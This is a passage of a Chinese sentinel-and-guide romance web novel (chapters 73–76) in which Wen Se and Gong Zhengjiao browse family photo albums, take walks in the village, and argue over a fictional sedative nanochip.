道理上,一个遵纪守法的好公民此时都该义正严辞地劝说舒颖,不要误入歧途。 但闻璱自己偏偏有这个前科,而且对一系列事情非常好奇,是主观和客观双重意义上的迫切求知。 他翻回报告,找到附录里舒颖专门附上的,对星海能源那个高保密项目中窒息实验的详细叙述。 说是详细,毕竟是舒颖“道听途说”来的,其实也只是比上次面对面的寥寥数语要详细一点,并没有附上任何书面记录。 但闻璱捕捉到了其中的特别字眼。 闻璱:【你是说,实验认为导致它们窒息的原因,通常是过度亢奋导致的肌肉痉挛,从而声门闭合,导致干性淹溺?】 很多很多虫:【至少我看到的结论是这样,很奇怪,不是吗?】 确实很奇怪,奇怪得闻璱竟然有点大脑皮层舒展开的感觉——这不就是他之前对自己病情的猜测吗? 难道一切的源头真的是酸雨,只是酸雨? 那柳部长完全没必要这么守口如瓶,就连弓铮皎…… 然而,想到弓铮皎,闻璱又不禁困惑起来。 弓铮皎和他同时经历同一场酸雨,却没有任何异常反应,甚至有余力给闻璱做急救。 除了精神图景里那把锁,弓铮皎的其它情况似乎都和正常无异,究竟是怎么被认为是必死无疑的呢? 闻璱不觉得自己只是给了点向导素和鸡汤,又帮调理了一下感官,改善了一下睡眠,就会有如此卓绝的效果。 明明自己都还没能做什么,要么问题的根源确实都在那把锁背后,要么弓铮皎的病因还有其他外力因素。 闻璱心思活泛,立刻回想了一通自己给弓铮皎生活带来的改变,最终,除了上述因素,就只有两种可能了。 第一,弓铮皎真的靠真爱的意志力打败了病魔,真是可敬可叹。 第二,弓铮皎家以前那个保洁偷偷给弓铮皎下毒,闻璱到来之后,保洁才失去了这个机会。 不过,鉴于弓铮皎的感官像鬼,体能成谜,连电击环都能随意把玩,实在很难想像怎么能让弓铮皎不知不觉间摄入慢性毒素——在足量产生中毒反应之前,他那比河马还壮的身体就该把毒素代谢掉了吧? 宫斗剧的食物相克原理都不适用,因为弓铮皎只吃没什么味道的哨兵餐,能用的食材根本玩不出什么花样来。 ……如此对比,第一种猜想居然更现实一点。 闻璱正为自己的推理感到深深的费解,门外就传来很轻的敲门声,弓铮皎低声问:“闻璱?你没睡吗?” 通过呼吸频率和心跳频率听出一个人的状态,对弓铮皎来说实在轻而易举,只是对被听的人来说有点毛骨悚然。 好在闻璱已经习惯了。 他直接起身拉开门:“进来吧,你可以坐在我的椅子上。” 弓铮皎便进来了,脸上是无法克制地喜悦,夹杂着一丝担忧。 他的眼神很克制地没有四处乱瞄,但闻璱一瞧就知道,他很想这样做。 “想看就看吧,我的房间没什么特别的。”闻璱说。 弓铮皎如获圣旨,那眼珠子解禁了,顿时跟巡逻的监控摄像头一样,恨不得用眼皮把闻璱的被子地毯都掀开看看底下有什么。 那目光最终落在书桌的相框上。 几天没见,水培荔枝见了光,绿得很快,现在看起来是鲜嫩的翠色,不那么像闻璱的眼睛了。 但是,水杯的位置移动了些,露出了那张照片的真容。 弓铮皎忍不住问:“我能看看吗?” 其实他已经在看了,这句“我能看看吗”,或许该被扩写为“我能拿起来、捧在手心里好好看看吗”。 这点小要求没什么不能答应的,更何况弓铮皎的态度坦然,并没有调笑的意思。 闻璱虽然不是会主动邀请别人看自己小时候照片的人,却不太会为这种事情感到羞耻。 他拿起相框,干脆把照片拆出来递给弓铮皎。 只见那照片上是一个穿着短袖衬衫和短裤的小男孩,皮肤白皙,头发比肤色更是雪白,但长度只是及肩,修建得整整齐齐。 他怀里似乎抱着什么东西,但看起来只是空气,那张稚嫩的小脸上满是认真,脸颊微微泛红,不知道是不是被相机对著有点害羞。 而原本被相框遮住的右下角,照片边缘的位置,写着一行小字:香蒲帮香蒲找妈妈,妈妈很爱小香蒲。 弓铮皎捧着那张照片,小心翼翼地生怕手指按到照片上留下痕迹。 那不是闻璱的字迹,他当然认得。 “我妈妈写的。”闻璱指了指那行小字,“她和逄靥星一样,担心我为这件事难过,但我其实真的不太放在心上。” 所以她试图为这个立意并不善良的童谣赋予美好的含义。 弓铮皎看着觉得可爱得要命,以至于眼眶都微微热了。 太喜欢了,太喜欢了,太喜欢了…… 也有一点点,太羡慕了。 闻璱从他手中抽走那张照片,放回相框。 “弓铮皎,你的名字也是很好的含义。”闻璱轻声说,“铮皎,意为出类拔萃,不论如何,这是一份祝愿。” 弓铮皎当然也知道。 反而是因为知道,所以对这愈发感到落差。 在天平的两端,厌烦、警惕、仇视,已经把杠杆压进深渊。 即便如此,那天平也很难彻底崩解,因为一无所知的人总是没有做出取舍的资格。 而现在,他终于得到了一个新的宝贝,却不忍心交付这份重担。 上一次他发疯说什么“命都给你”,被闻璱毫不留情地剥开了一切伪装,他觉得自己不该再犯一次错误的同时,也窥见闻璱的感情观。 闻璱健康的、稳定的,在爱的包裹里长大。 而弓铮皎的爱是很沉重的,用光线亮丽的珠宝镶嵌出表皮,内里却偏激而又具有攻击性。 他越喜欢闻璱,越想要把闻璱干脆吞进肚子里,也越不舍得真的让闻璱来承担这份本不需要承担的重量。 当然,拱手相让是更不可能的。 弓铮皎只是在想,如果闻璱需要的话,如果闻璱介意的话,他可以装作一个不那么唯爱是图的人。 他会愿意装作心胸宽广的样子,和家庭和解,愿意为了闻璱能得到更多更好的待遇,而扮演一个学院派的“丈夫”。 很漫长而且宁静的对视里,没有人说话,连呼吸声都此起彼伏,契合得刚刚好。 闻璱不动声色地审视着弓铮皎,彷佛明白了弓铮皎在想什么——他曾经以为弓铮皎还在渴望获得家人的关爱,虽然他对此并不抱太大希望,却不能否认一个人需要精神层面的满足。 直到此刻,闻璱蓦地明白,弓铮皎早就想好了。 爱让人变得盲目,即便闻璱已经如此富足、游刃有余,爱他的人仍然担心,会不会成为他的负担。 如果这是一种以退为进的苦肉计,闻璱或许都会于心不忍,更何况这不是。 他很慢地上前,抬手捏住弓铮皎的脖颈,轻轻贴了贴他的脸颊。 在光鲜亮丽的西式社交场合上,这是贴面礼,但闻璱做这个动作,只是想离他更近一些。 “抱一下。” 弓铮皎便迫不及待地抬起手,按在他的后腰,闭上双眼。 有时一个吻太过亲密,太过粘稠,反而这样一个没有缝隙的拥抱,干燥,所以意外的暖融融。 皮肤紧紧相贴,声带震动经由骨肉传导,敲进弓铮皎的意识最深处:“你在请求我的许可吗?” “我……” 弓铮皎张了张嘴,好半天,才有很艰涩、颤抖的声音:“可以吗?” “可以。”闻璱说,“可以只爱我。” 第74章 你是一根在植物大战僵尸里形像是猫猫的草。 一片温情脉脉。 气氛很好,闻璱从理智上明白现在不是说有些话的时候,但或许真的是因为和弓铮皎相处久了,连忍人也会被传染一丝淡淡的比性。 他仍保持着拥抱的姿势,口中却说:“很爱我吗?那让我进你精神图景看一看。” 当然,也是考虑到时过境迁,现在该更尊重一下弓铮皎某些方面的主权才对。 弓铮皎:“……” 风水轮流转,弓铮皎咬牙切齿地结束了这个拥抱,他浑身肌肉都为之一紧,防备着闻璱突然动手。 因为前两次他就上了“美人计”的当。 闻璱对这结果并不意外,很有耐心地解释起来:“你听我说,以前在我宿舍,还有上次在医院,我在你的精神图景里都很顺利,只有污染区的那一次出了意外。从控制变量法来看,或许问题的关键真的出在酸雨。” 弓铮皎不管那些有的没的,只是一口咬定:“你也说了‘或许’,为什么要冒险做这种事?我又不是没有梳理就不行。” 闻璱看他的眼神奇怪起来:“你怎么会说这种话?你的精神图景动不动就跟拍摄片场一样,还是需要分级的那种片。” “什么?”弓铮皎一头雾水,但还是嘴硬道,“但之前放了十几年也才出了问题,只要你帮我调理感官,我再撑十几年肯定没问题。” 闻璱微笑,并不与他讲道理,直接道:“看来你也不想跟我结合?” “!!!”话题跑得太快,弓铮皎当场宕机,“怎么可能!我超想的好吗!” 他已经偷偷幻想过很多次不重样的婚后生活了,但这些可不能说。 “特种人,但不结合。”闻璱很平静地评价,“这算精神养胃。” 如果有专供特种人的瑟琴片能够记录精神结合的过程的话,弓铮皎这种情况就属于“无能的丈夫”。 “原来接下来十几年你都准备跟我度过精神无性婚姻。”闻璱还是那副云淡风轻的样子,“好,这很好,怎么不早说?” “我也不是那个意思!”弓铮皎想解释,又实在做不到像闻璱那么冷静地说出这么超过的话,急得发狂。 “那就试试。”闻璱说,“就一下。” “……”弓铮皎觉得此时此刻联想到“我就蹭一下”是不是太低俗——但是,是闻璱先把话题转移到这里的! 但他还是坚守底线,偏过头逃避了对视:“至少……至少不能在这里,我不想万一发起狂来,把你家毁掉。” 这话倒是不无道理,虽然弓铮皎现在越来越克制了,上一次进入精神图景之后,闻璱甚至觉得弓铮皎已经趋近于状态完全正常、健康的哨兵——但他还没忘记第一次给自己的宿舍造成了多大破坏。 他思索片刻,道:“那就等扫完墓之后吧。” 等把逄婆婆的事情忙完,他刚好能带弓铮皎去另一个地方。 在弓铮皎眼中,这便是缓兵之计的判定大成功。 他生怕闻璱深思熟虑过后又改变主意,正巧刚才看过照片,随口道:“对了,那个……你妈妈跟我说,家里有几本相册,但是我想看的话必须要先征求你的同意。所以,我来问问,我能看看吗?” 其实这是几天之前的事情了,只是那是本家庭相册,而这兄弟俩之前氛围微妙,弓铮皎细心地对空气进行了阅读和成分分析,才把这令人心痒难捱的事情暂且压下。 他这么一说,闻璱想起来确实有这回事,前几天闻母还专门问逄靥星介不介意把相册翻出来看,逄靥星根本没放在心上。 是的,在大家都在的场合,闻母专门问逄靥星一个人。 显而易见,拖拉机王子甚得闻母心意,遂专门把自己留给弓铮皎来问。 闻璱点了点头:“可以,你想的话,也可以叫大家来一起看。” 他以为弓铮皎会想要这种在一起看家庭相集的温暖感。 没想到弓铮皎“啊”了一声,很不情愿地问:“你想和大家一起看吗?” 看来拖拉机王子只想和香蒲小鹅享受浪漫的二人世界,回顾温馨只是顺带的。 那几本厚厚的大相册前些天就被闻母翻出来,擦了灰,一并放在客厅很显眼的位置上,弓铮皎轻手轻脚地拿着它们返回闻璱房间时,发现闻璱在床上铺了一层竹席。 他指了指床:“现在你可以上床了。” 一边是委屈自己忍受强迫症,另一边是狠点心不满足弓铮皎,在这条岔路口,他选取了一条剑走偏锋又两全其美的小路。 弓铮皎立刻小心翼翼地坐上去。 竹席很凉,但闻璱在身旁坐下的同时,弓铮皎感觉自己像坐在云朵上。 他翻开第一本相册的第一页,映入眼帘的就是一对陌生男女的结婚照。 女人穿著有些复古感的老式缎面婚纱,头发也卷成了时尚的大卷,眉眼秾丽,依稀能看出是闻母年轻时候。 而她身旁站着的男人…… 闻璱说:“哦,这个,生物学角度来说,算是我爸爸。” “爸爸”是一个神奇的“称谓”,现在共同翻阅相册的两人,竟然不约而同地对此深感陌生。 弓铮皎当然不必说,他法律意义上的父亲有感情缺陷,他生物学意义上的父亲,从来没有一天承认过自己。 但在真正来到水盘镇之前,弓铮皎本以为闻璱会有一个美满的、父母双全的模范家庭。 意识到自己又想多了,是在没能见到这个人、家里没有这个人的房间、言谈话语间也没有人提到这个人之后。 只是弓铮皎仍然不敢贸然提问,生怕毫无痕迹意味着某种伤疤,便一直将疑问压在心底。 直到现在,闻璱如此平静地提起,弓铮皎才试探性地问:“他……不在了吗?” “不知道,你不用担心这个问题冒犯到我。”闻璱把相册翻到第二页,那个男人似乎就这样离开了相册,“他在我妈孕期出轨,嗯,那时候好像是人造子宫刚刚上市,他一直劝妈妈,趁我月份还小,把我转移到人造子宫里去。妈妈觉得新技术不那么保险,没有答应。后来他出轨,他们离婚,连我也没有见过他。” 弓铮皎有点五味杂陈,只好说:“那还是希望他不在吧。” 闻璱忍不住笑了一声。 闻璱从母姓,有一个温和而有想法的母亲,她虽然文化水平不高,但很有自己的主意和力量,也把闻璱培养得很好。 因而闻璱一直不觉得父爱具有什么不可替代的必要性,至少没给闻璱带来什么能够留在心里的困扰——就像他不在意论坛上的风言风语一样,关于自己和母亲的流言蜚语,其实在童年时常传入耳中,闻璱也不是很放在心上。 如今他回想起来,曾经有人嘲笑他“没爸的孩子像根草”,他很平静地指着地上的狗屎回“没妈的孩子像坨屎,说的就是你”,然后把对方气得大哭的场景,觉得反而有点好玩。 因为没过几年他就又个小名就叫“香蒲”了,还真的是根飘毛毛的草。 他觉得好玩,便大方地把这件事讲给弓铮皎听。 而弓铮皎果然怒不可遏,恨不得穿越回去一巴掌抽死那个小孩。 闻璱忍笑说:“后来他跟我道歉了,小孩子没几个懂事的,我小时候也不懂事。” “怎么可能,不许你这么说自己,你小时候一定是全镇最乖的好宝宝。”弓铮皎理所当然地说。 他一边义愤填膺,一边在心里补充:你还是一根在植物大战僵尸里形像是猫猫的草。 结果闻璱示意他翻到下一页,就是还没学会走路的闻璱在地上爬,身后是一地狼藉的照片。 旁边又有一行闻母的注释:小鹅6个月,初具咏春拳传人风范。 弓铮皎:“……” “你要相信每个小孩小时候都是魔鬼,我也不例外。”闻璱认真地说。 “……话虽如此,还是很可爱。”弓铮皎说,“我看到这种照片就觉得很幸福。” 他目光久久地凝视着各种各样的闻璱,爱屋及乌地对照片上的小孩爆发出强烈的喜爱。 却惹得闻璱欲言又止。 因为那些照片记录的大多是闻璱很小的时候,和现在的闻璱几乎看不出什么相似之处,闻璱自己很难想像这有什么可爱的。 闻璱不喜欢小孩,即便现在人造子宫技术已经很成熟,孤雌生殖和孤雄生殖都不再是难题,他仍然从未想过自己未来会有一个小孩。 但是弓铮皎这副样子,好像对小孩子很有怜爱之情…… 他从小缺少家庭关爱,会格外期待有一个属于自己的幸福家庭,似乎也很合理。 这就有些难办了。 不过这念头只是灵光一闪,现在谈这件事似乎操之过急——但又似乎确实是个因人而异且重要的事情,该在开始一段关系之前就说明白。 弓铮皎倒没想这么远,只是从逐渐成长的照片里窥见越发出落得熟悉的眉眼,就恨不得把整本相册都一口吃了。 人可爱就不说了,连边上的注释字迹也充满了爱的痕迹,时隔二十多年再次翻开,仍然令人心里柔软。 他忍不住用指尖虚虚拂过那行注释,想像闻母写下这些字的心情。 他沉浸在其中时,闻璱也观察到了他的小动作。 弓铮皎总是会为闻母对闻璱的爱驻足,但似乎只有在这一点上,他没有一点点追求闻璱时偶尔暴露的阴湿,是很纯净的憧憬。 以至于闻璱起初只是想给他一份好的模版,后来却难免担心,这是不是也会刺伤他。 闻璱还没想好该说什么,弓铮皎突然开口:“这个筐是你妈妈自己编的吗?” 他已经翻到了闻璱两三岁的时候,被闻母放在蒲筐里,铺上小毯子拍下一张熟睡的照片——这下弓铮皎知道,闻璱为什么会那样携带小黑了。 “嗯,我也会,不过我的手艺不如妈妈。”闻璱点头。 “那我要拜师跟她学一下。”弓铮皎煞有介事地点点头。 然后在家里也给小黑做一个窝。 他又翻了几页,突然抬眼,看着闻璱,看着少见地有几分欲言又止的闻璱。 通常情况下他总是敏锐却脑回路清奇,但在这一瞬间,他鬼使神差地接入了闻璱的频道里。 闻璱在心疼他啊。 弓铮皎顿时得意得不可言说,立刻求证道:“你又心疼我了?” 心疼男人是完蛋的开始。 可是这一次,闻璱没有否认,只是微微一笑,坦诚道:“有一点。” 这份肯定就足够让弓铮皎开心地下地再搬两车荔枝了。 他强压下心里的兴奋,却 压不住嘴角,既想要闻璱更心疼一点、最好永远心疼下去,却又不舍得闻璱真的为此担忧。 “你不用担心我,我看你的照片总是感觉很幸福,说到底,是你让我感觉很幸福。”弓铮皎说,“所以,我越看越想要以后也能和你拍下这样的照片。” 他不再想追究过去,只想往很远地未来看去。 “比如,我现在就想,我的遗照要用一张有你出镜的,然后在墓志铭上写:‘这里沉睡着一个幸运而又幸福的哨兵’。”他一本正经,完全没在开玩笑地说,“这样每个扫墓的人都能看到,我和你有多幸福——而且我要专门留一条遗嘱,等我下葬之后,我是说很多很多很多年之后,你扫墓的时候能不能拍一张合照,然后找人发到论坛上?这是我一生最后的夙愿!” 闻璱:“……” 闻璱:“你还是闭嘴看吧。” 第75章 你目前还很乖。 几本相册看了一早上,到中午吃饭前才堪堪看完。 结果吃完午饭,弓铮皎就没了影,家里、地里都不见他踪迹,闻璱晃了两圈没看到,发消息问他人在哪。 不知道是因为信号太差,还是人太忙,过了很久才得到回覆。 大猫骑士:【我在市里买点东西。】 大猫骑士:【别担心,很快就回了,活你也不用操心,走前我把今天要打包的货都捎上了,你休息就好啦。】 又发来一个橘猫眨眼的卖萌表情包。 恰好,闻母下午接到电话,审批程序通过了,上市里面去拿报告。 闻璱不知他是怎么去的市里,总之关照了一声:【回来时,你可以坐我妈的顺风车。】 然后一整个下午,照旧盯着极慢的网速和舒颖讨论著关于报告的事情。 晚饭前,逄靥星终于睡醒,饥肠辘辘地起床,发现家里只有两个人。 气氛还是有些尴尬,闻璱看了他一眼,什么话都没说,就继续忙自己的事情了。 这不奇怪,闻璱一向如此,并不意味着仍然在生气。 逄靥星觉得自己或许该做些什么,却僵在原地,脑袋一时放空。 他本来很情绪化,被弓铮皎打岔一番,又睡了一觉醒来,情绪有些断档,理智却缓缓回笼,让他脑袋里冒出一个放在以前最不可能,但放在现在却很有可能的可能。 那就是:闻璱觉得这件事已经到此为止了。 可冷战了好几天,逄靥星浑身上下哪里都不自在,没法像个玩具一样,拨动开关就能切换模式。 他无所事事地兜了几圈,最终转进厨房开始做饭。 会做饭这件事对逄靥星来说,既是偶然,也算必然。 偶然地成为了感官敏感的特种人,闻母再特殊照顾也有顾及不到的地方,他也无法心安理得地接受自己得到的关心比闻璱更多——哪怕他知道,闻璱不是小心眼的人。 他自然而然地去学习所有这些技能,以避免更多的“特殊对待”。 这顿晚饭也是同样,就像在他家吃的那顿晚餐,他还是给闻璱炒了闻璱最爱吃的蒲菜。 老房子的普通抽油烟机远不如他家里的厨房环境好,逄靥星被呛得撕心裂肺。 吓得闻璱一坐下来,以为他控制不住情绪,在厨房一边做饭一边又哭了一顿。 逄靥星连忙道:“我没哭,我只是被呛得着了。” “……辛苦你了。”闻璱开了个玩笑,“没把眼泪掉锅里就行。” 食不言,寝不语。 饭后逄靥星终于主动问:“去散个步?” 闻璱看了他一眼,点了点头。 从小黑的情况来看,这些天下来,闻璱休息得大概很不错,小黑已经不那么嗜睡,甚至经常独自离家出去玩。 按说特种人和精神体的距离不能相隔太远,但患病似乎因祸得福地加强了闻璱这方面的能力。 以前,在看不到也感知不到小黑的时候,它就经常去距离闻璱宿舍好几公里之外的城市景观湖里玩,回来时在宿舍里踩出一片水迹。 而现在,小黑也能够在离闻璱几公里开外自由活动,闻璱能依稀感觉到和它的连接,便溺爱地随它玩去了。 所以这趟出门倒是不用把筐拎上。 天还没黑,他们顺着主路满满地走,没有一个人说话。 有些尴尬,有些莫名其妙,也有些煽情。 逄靥星甚至悲观地想,如果得不到救治的话,如果一切真的按照最糟糕的方向发展……难道他和闻璱最后就要停留在这样不尴不尬的单方面冷战里吗。 珍惜和家人的每一天,因为你不知道明天和意外哪一个先到来…… 激励的话语在脑袋里转了几圈,逄靥星终于十分动情地回过头—— 而闻璱看起来完全没心没肺。 走着走着,闻璱甚至弯腰捡了几块石头,顺手弹出去,用路边的水渠打水漂玩。 逄靥星更难过了。 他正要开口,背后传来车辆行驶的动静,逄靥星下意识地把闻璱往里推了推。 即便闻璱原本就站在离车更远的那侧。 结果,那车居然还是短促地鸣了一下笛。 闻璱和逄靥星一起回头,然后彻底停下步伐。 因为那车上坐的两个,根本都是熟得不能再熟的熟人。 去时,闻母开着自己的小轿车,晚上回来时,就换了一辆拉风的越野车——后面还挂着闻母那辆久经沙场的小轿车。 闻母叼着烟坐在在驾驶座,副驾驶上弓铮皎的窗户开着,探出头来,跟恰好在路边散步的闻璱打招呼。 闻璱的嘴角弯了弯,也冲弓铮皎挥了挥手。 他正要提醒弓铮皎把头收回去,就见弓铮皎顺势把手臂搭在窗框,灵活地翻了出来。 正好落在闻璱面前。 闻璱:“……” 好的,现在看来是不用注意乘车安全了。 倒是关心了一句:“呛不呛?” 闻母开车时菸瘾有点严重,虽然刚才看车上开着窗,闻璱顾忌着弓铮皎应该还是难受得不轻。 弓铮皎道:“没事,阿姨只是叼了一根,没有点,很照顾我。” 这话一出,逄靥星就瞪大了眼睛,一脸不可置信。 他在厨房操劳了一个小时,锅铲子都抡出火星子了,抡得好悬没被呛死,闻璱都没这样主动关心他。 但他也不好把炮火对准闻璱和闻母,只能很无语地拆台弓铮皎:“耍什么帅。” 弓铮皎当然听到了他的话,不过选择性当作没听到,只兴冲冲地上来,随口问闻璱:“你喷香水了?” “花露水。”闻璱说,“晚上蚊子很多。” 弓铮皎对拟态融合的运用非常灵活,经常有些闻璱都为之眼前一亮的妙用,譬如简单地融合极小部分以散发微弱的气味,只需一根头发,就能起到驱赶蚊虫的效果。 这一招逄靥星是不会的,天鹅在自然界也不具备这种威慑力,因而和逄靥星晚上出来散步,只能喷特种人专用的花露水,香气浓度比普通人用的要淡许多,但仍然逃不过一些嗅觉格外敏锐的哨兵。 弓铮皎当然不喜欢这种味道,于是他果断拿出护手霜在耳后抹了一点。 逄靥星见之叹为观止:“搞什么,你这么精致的吗?闻璱?”他拱火式地看向闻璱。 “你少管别人了。”闻璱道。 二人散步换成了三人散步,闻璱果然问起:“那车是怎么回事?” “嗯……阿姨临时买的。”弓铮皎眨了眨眼,“我什么也没干。” 这当然是不可能的,但闻璱捏了捏眉心,没说什么。 倒是逄靥星立刻问:“多少钱?闻璱没钱,我转给你。” 他本就是愧疚大爆发状态,迫切地想要做点什么。他还记得弓铮皎说现在的状态是“没追到”,既然没追到,那他当然不能让闻璱因为这笔钱在弓铮皎面前矮了一头。 ……虽然闻璱之前都住进弓铮皎的大豪宅里了。 殊不知闻璱的账户里现在还真有钱,弓铮皎转的,而弓铮皎最听不得这种“亲兄弟明算账”的话,好像在提醒他“AA制”和保持分寸的必要性。 他伸手比了个五。 “五十万?行。” “五千万,附带我这一个大巴掌。”话音未落,弓铮皎那只手就变成了一只硕大的虎爪。 “……你有病。”逄靥星知道这是没得商量了。 他又看向闻璱,一直以来他都知道,闻璱不爱占人便宜,既然还没追到,应该不会接受这个殷勤才对。 没想到闻璱看着那只虎爪,蓦地上手捏了捏粉色的肉垫。 软软的,一捏就开花。 弓铮皎得意:“哼哼。” 逄靥星终于觉得有哪里不对劲了。 这一路上氛围不尴不尬,直到弓铮皎突然蹦过来,逄靥星顺口打趣,彷佛一切都回到吵架之前了,因而他其实有点开心弓铮皎的到来,也很想继续现在正好的氛围。 但这两人迫不及待地想把他踢出去。 逄靥星撇了撇嘴,转身去追闻母的车:“我找老妈去。” 他走之后,闻璱和弓铮皎继续慢悠悠地在路边晃,一不留神就溜到了镇子边缘没什么人的角落。 闻璱当然好奇弓铮皎进城是去做什么,总不能是专门为了提这辆车。 但直接问出来就没意思了。 闻璱松开手,不经意地说:“说起来,忘了告诉你,前两天有人来问我……” 他微微一顿,似笑非笑地抬眼看弓铮皎:“问我,你还会在我们这里呆多久。” 这倒不是谎言,确实有邻居这么问,不过,主要是想拜托弓铮皎这个大少爷帮个忙,而不是说媒。 闻母和闻璱都呈现出和外表的刻板印象恰恰相反的不好惹,村里人都晓得这一点,当然不会触霉头地把主意打到弓铮皎这个看起来已经打上“闻璱的”标志的人身上。 但闻璱故意在此刻又补充了一句:“你真的很受欢迎。” 当然受欢迎——弓铮皎这种兼具了城里人的时尚和富贵、花花公子的漂亮脸蛋、牛一样的体力,还干活麻利,废话少,嘴巴甜的小夥,在水盘镇的杀伤力可以说是摧枯拉朽级别的。 弓铮皎果然一脚踩进陷阱:“我没有,我只对你一个人开屏,我甚至不跟他们打水漂!” 话音才落,他突然想起什么,又有点乐了:“再说了,我刚刚看到了,你在偷偷练习打水漂——明明你才是那个胜负欲超强的人!” 闻璱:“……” 他很少被反将一军到如此哑口无言的境地,因为他不得不承认,弓铮皎说得对,他刚刚还真的是无意识地捡起石头练了两把,而且出发点确实是想起弓铮皎的战绩,心里稍微有点不平衡。 幸好他总有后招,绝不会肯让自己真的陷入被动。 闻璱微微抬起下巴,垂眸看着弓铮皎,理直气壮地反问:“不可以吗?” 弓铮皎还没来得回答,就听他又说:“我只是觉得,这有利于紧一紧……” 他缓缓抬手,在弓铮皎的喉结上轻轻一点,说完了这句话:“你的项圈。” 弓铮皎:@#*@(…… 最终,弓铮皎深呼吸两口气,脸颊滚烫:“你可以真的给我戴上一个。” 闻璱并没有真的要这样做的打算,微笑着欣赏他的方寸大乱,一挑眉道:“好像还不需要,因为你目前还很乖。” 他的指尖又若有若无地带过弓铮皎的下颌,提醒弓铮皎:已经有一个了。 然而弓铮皎伸手握住他,认真道:“我是说真的,今天下午,我就是去办这件事的。” 说着,一个什么很小的东西被塞进闻璱掌心。 第76章 我真想抽你了。 幸好、幸好,这大小不可能是个真的项圈。 否则拿着一个可能会带着链子的项圈招摇过市,明天闻璱就会成为乡里茶余饭后的有色小料了。 那还能是什么?一颗新的酸弹? 闻璱的笑意淡了几分,挣脱弓铮皎的手,看向自己掌心。 一个很小很小的贴片式注射设备,不知道有什么功效,但不用想也知道,不会是一片普通的痘痘贴。 “是一片纳米芯片,能够即刻令我丧失行动能力。”弓铮皎说,“比电击环满档更有效,且快速,不会让我有机会反抗。” 没说完的话也不需要再说了,闻璱明白,这是为了在扫墓之后,进入弓铮皎的精神图景时用的。 他本以为“在家不行”只是弓铮皎的缓兵之计,才默许了这种行为,反正不论弓铮皎怎么拖延,该发生的还是一定会发生。 却没想到弓铮皎还真的准备了这样一份“后手”。 “是吗?”闻璱皱眉,“谁给你的?什么芯片能有这种效果?确定不是什么毒素?对你来说,□□注射都不一定能见效那么快吧。” 他确实想不通,连电击环都束手无策的弓铮皎还能有什么天敌。 在搞清楚来路和原理之前,当然也不可能真的把这用在弓铮皎身上。 哪怕知道纳米芯片不可能用肉眼看到,闻璱还是忍不住小心翼翼地把它拈起来看了几圈。 也借此遮掩了弓铮皎专注的视线。 他有点生气,可他不想让弓铮皎发现——他总觉得,现在他们应该换一种方式沟通。 弓铮皎却摇了摇头:“不是毒,不是□□,据说就是一款新型镇定剂。” “那你还敢拿来?”闻璱更是恼火,“我怎么没听说过,有什么镇定剂是通过芯片实现的。” “向导素镇定芯片呀。”弓铮皎说,“希冕创辉的新产品,我猜柳部长和叔叔合作可能就是在研发这个东西,原理什么的,我也不懂。但是据说内部测试的镇定效果非常强,高浓度向导素能够让哨兵在3秒内陷入假性神游,然后芯片会把精神图景格式化,用这种方法来对暴动的失控哨兵进行控制。格式化之后,哨兵会渐渐自我修复,唯一的副作用是,可能会造成轻微动记忆错乱效果。” 他越说声音越低,小心翼翼地看着闻璱越来越冷的脸色,艰难地说完了最后一句话:“我也是第一次听说。” 闻璱却从牙缝里挤出来几个字:“谁、给、你、的?” 弓铮皎坦诚道:“是柳部长让人给我的……他跟我说了,你知道这件事之后,可能会生气。” 不是可能,是一定、必然、绝对会生气。 向导素镇定芯片——真是吹牛不打草稿,向导素也是精神力投射,这种极难捕捉的波动以现有的技术根本不可能被机器所捕捉。 这说法,也就能骗骗不懂科研的弓铮皎,闻璱一听就知道,这就是他曾经的课题! 也就是说,起效的绝不是向导素,而是芯片触发的某种神经元信息。 三年前,邵教授和闻璱的方向是,通过仿真哨兵对向导素产生的神经元反应,让哨兵的大脑误以为自己已经摄入了足量向导素。 精神力本来就是一种并不会产生化学反应的抽象波动,这从某种意义上来说是欺骗大脑,却也是解决精神力问题最直接的办法。 然而课题被封锁之前,其实就已经陷入了一段时间的瓶颈期,这也导致了邵教授在焦虑之中做出了违规实验的错误判断。 那正是因为神经元对向导素产生的反应实在是太奇妙了。 它复杂、易变、规律难以捕捉,究竟如何才能刚好能够满足安抚的需求,却又不会对哨兵造成创伤,即便有一些临床数据作为基础,其中的阈值仍然太难掌握。 而现在听到弓铮皎对这支注射器里芯片的描述,闻璱立刻反应过来,柳部长果然使用了曾经的课题数据,只是换了另一个方向——并不研究“满足”,而是触发“过载”。 就这样绕过了曾经横亘在课题前的大山。 当哨兵的大脑已经被过量的神经元反应冲到无法处理,精神图景自然会过载,就像因信息量太大而暴动、神游的哨兵一样。 这就是“假性神游”。 也因为这并不是真正意义上的神游,芯片还能够修改输出的信息,让这些凭空出现的反应再凭空消失,哨兵也能因此重新自我修复。 “格式化”也很好理解了,芯片毕竟是芯片,不是一个有意识的向导,无法做到筛选信息,而是会清理掉所有芯片产生的冗杂信息,其中不可避免地会带走某些已经被连接的原生信息,因此导致轻微的记忆错乱。 ……但这方法比闻璱曾经还要更加不人道。 同样是进行精神图景的暴力安抚,闻璱的安抚只霸道在于“接管”的环节,他需要靠自己的精神力压制对方,但在那之后,他会一丝一缕地将整个精神图景解构、再重新搭建。 然而这种芯片所做的,就是像现在的小黑屋对待哨兵那样,管砸不管修,一切依靠哨兵的自我修复能力。 闻璱单纯地不认可这种修复模式。 即便疗愈中心这样运作已经很多年了,但技术进步,本该推动一代比一代采用更全面的疗愈方法,而不是更加暴力,把更大的预后风险仍然交给“病人”。 哪怕他们从来不是医生和病人的关系,甚至为了时时提醒自己这一点,闻璱曾经将“医生”作为自己私下安抚的安全词。 对陌生哨兵尚且如此,闻璱当然更不能接受弓铮皎再被这样对待。 但是此时此刻,比起对偷窃科研成果的柳部长的不爽,闻璱的怒火显然更想淹没近在眼前的弓铮皎。 弓铮皎怎么敢说,让自己对他使用这种设备? 谁不自爱? 对于以前那些话,他本来还不算太放在心上,现在却越来越对耿耿于怀。 他真想问问,弓铮皎动不动就拿出这种东西,还大言不惭地说让自己给他“戴上”,相比起来,到底是谁更不自爱! 虽然柳部长就是看准了弓铮皎不懂这些,是个彻头彻尾的傻白甜。 但闻璱还是出离恼火——还没有完全了解的新技术,不要冒险尝试,让自己做小白鼠,这是闻母几十年前就明白的道理,也是闻璱曾用课题封存一事想要告诉弓铮皎的话。 就这么简单、基础的一件事,说了那么多次,弓铮皎怎么就学不懂呢? 闻璱发自内心地无法理解。 这份怒火无处宣泄,让闻璱简直想给弓铮皎一拳,但理智还是拉住了他的手臂。 今时不同以往,现在已经和在污染区那时关系不同,没有执行任务的需求,闻璱并不想对他动手动脚。 